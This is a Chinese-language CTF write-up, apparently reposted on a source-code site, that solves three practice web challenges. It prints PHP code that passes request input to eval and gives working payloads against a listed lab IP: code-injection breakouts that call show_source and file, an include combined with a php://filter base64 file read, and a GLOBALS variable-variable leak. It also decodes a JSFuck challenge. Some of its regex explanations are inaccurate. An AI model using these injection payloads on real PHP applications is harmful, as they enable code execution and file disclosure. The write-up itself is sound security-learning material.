暑假第四周练习(二)web练习

目录:
0×00 本地包含
0×01 变量1
0×02 web5

0×00 本地包含

现在题目链接已经打不开了,在网上找到源码:

<?php
include "flag.php"; //flag存储在flag.php这个脚本里,但是被注释掉了,我们需要把flag.php的源码整个显示出来
$a = @$_REQUEST['hello']; //无论是以POST还是GET方式,都可以给$a赋值
eval( "var_dump($a);"); //var_dump可以输出变量的类型和值
show_source(__FILE__);
?>

预定义变量 $ _REQUEST 能得到@$ _GET与@$_POST的参数。无论以get方式还是post方式,我们都能够获得hello的参数值。

eval() 函数会把字符串参数当做代码来执行。
file() 函数把整个文件读入一个数组中,并将文件作为一个数组返回。
print_r() 函数只用于输出数组。
var_dump() 函数可以输出任何内容:输出变量的容,类型或字符串的内容,类型,长度。
hello=file(“flag.php”),最终会得到var_dump(file(“flag.php”)),以数组形式输出文件内容。
include()函数和php://input,php://filter结合很好用,php://filter可以用与读取文件源代码,结果是源代码base64编码后的结果。

我们要想拿到flag,就要读取flag.php。

方法一:从hello的参数值入手

http://123.206.87.240:8003/?hello=file(‘flag.php’)

或者

http://123.206.87.240:8003/?hello=show_source(%27flag.php%27)

或者

http://123.206.87.240:8003/index.php?hello=1);show_source(%27flag.php%27);//

注意:);负责把前面的命令闭合掉,//负责闭合掉后面的命令。
最终执行的命令是show_source(%27flag.php%27),这样就得到了flag。

方法二:
http://123.206.87.240:8003/index.php?hello=1);include $_POST[‘l’];

post的内容:f=php://filter/convert.base64-encode/resource=flag.php

同样也可以的都flag。

0×01 变量1

题目源码:

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>

里面有许多函数

error_reporting()    设置 PHP 的报错级别并返回当前级别
error_reporting(0); //禁用错误报告
error_reporting(E_ERROR | E_WARNING | E_PARSE); //报告运行时错误
error_reporting(E_ALL); //报告所有错误

highlight_file() 函数对文件进行 PHP 语法高亮显示
highlight_file(filename,return) //规定要显示的文件,
//return,为TRUE,该函数将以字符串形式返回高亮显示的代码;默认FALSE

正则表达式匹配:
int preg_match( string pattern, string subject [, array matches ] )
//正则表达式,需要匹配检索的对象,$matches[0] 将包含与整个模式匹配的文本,$matches[1] 将包含与第一个捕获的括号中的子模式所匹配的文本,以此类推
preg_match() 第一次匹配成功后就会停止匹配,如果要实现全部结果的匹配,即搜索到subject结尾处,则需使用 preg_match_all() 函数。

die() 函数输出一条消息,并退出当前脚本

eval() 函数把字符串按照 PHP 代码来计算
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

正则匹配preg_match("/^\w+$/",$args)
一前一后两个’/‘表示正则表达式的框框,’^‘表示开始,’$'表示结束

中间’\w’表示任意一个字母或数字或下划线,也就是 AZ,az,0~9,_ 中任意一个

'+'表示表达式至少出现1次。

\w 匹配字母或数字或下划线或汉字 等价于 '[^A-Za-z0-9_]'。

\s 匹配任意的空白符

\d 匹配数字

\b 匹配单词的开始或结束

^ 匹配字符串的开始

$ 匹配字符串的结束

?零次或一次 *零次或多次 +一次或多次 {n}n次 {n,}至少n次 {n,m}n到m

\d 任意一个十进制数字[0-9]
\D 任意一个非十进制数字
\s 任意一个空白字符(空格、换行符、换页符、回车符、字表符)
\S 任意一个非空白字符
\w 任意一个单词字符 [a-z 0-9 A-Z]
\W 任意个非单词字符

\a 报警
\b 退格
\f 换页
\n 换行
\r 回车

var_dump( $ $ args)理解为 $ ($args),就是取两次。
正则匹配需要匹配所有,那我们就要用到一个变量叫做 $GLOBALS —— 引用全局作用域中可用的全部变量(八个预定义变量里的一个),一个包含了全部变量的全局组合数组。
$GLOBALS[index]的数组中存储了所有全局变量,变量的名字就是数组的键

我们构造payload?args=GLOBALS那么就变成了eval(“var_dump($GLOBALS);”);
eval就会把字符当PHP代码执行。

暑假第四周练习(二)web练习
flag到手。

0×02 web5

暑假第四周练习(二)web练习
查看源码发现了一串很很很长的符号,看题目有JSPFUCK,就去百度了一下。

就是有人用不平常的JavaScript语言风格,写了只用六种符号就可以表达任何表达式的语句。以JSFuck风格写出的代码不需要另外的编译器或解释器来执行,无论浏览器或JavaScript引擎中的原生 JavaScript 解释器皆可直接运行。鉴于 JavaScript 是弱类型语言,编写者可以用数量有限的字符重写 JavaScript 中的所有功能,且可以用这种方式执行任何类型的表达式。

放进浏览器的控制台就能的都flag。
暑假第四周练习(二)web练习
记得变成大写。

题虽然不多,但真的不简单。

原创:https://www.panoramacn.com
源码网提供WordPress源码,帝国CMS源码discuz源码,微信小程序,小说源码,杰奇源码,thinkphp源码,ecshop模板源码,微擎模板源码,dede源码,织梦源码等。

专业搭建小说网站,小说程序,杰奇系列,微信小说系列,app系列小说

暑假第四周练习(二)web练习

免责声明,若由于商用引起版权纠纷,一切责任均由使用者承担。

您必须遵守我们的协议,如果您下载了该资源行为将被视为对《免责声明》全部内容的认可-> 联系客服 投诉资源
www.panoramacn.com资源全部来自互联网收集,仅供用于学习和交流,请勿用于商业用途。如有侵权、不妥之处,请联系站长并出示版权证明以便删除。 敬请谅解! 侵权删帖/违法举报/投稿等事物联系邮箱:2640602276@qq.com
未经允许不得转载:书荒源码源码网每日更新网站源码模板! » 暑假第四周练习(二)web练习
关注我们小说电影免费看
关注我们,获取更多的全网素材资源,有趣有料!
120000+人已关注
分享到:
赞(0) 打赏

评论抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

您的打赏就是我分享的动力!

支付宝扫一扫打赏

微信扫一扫打赏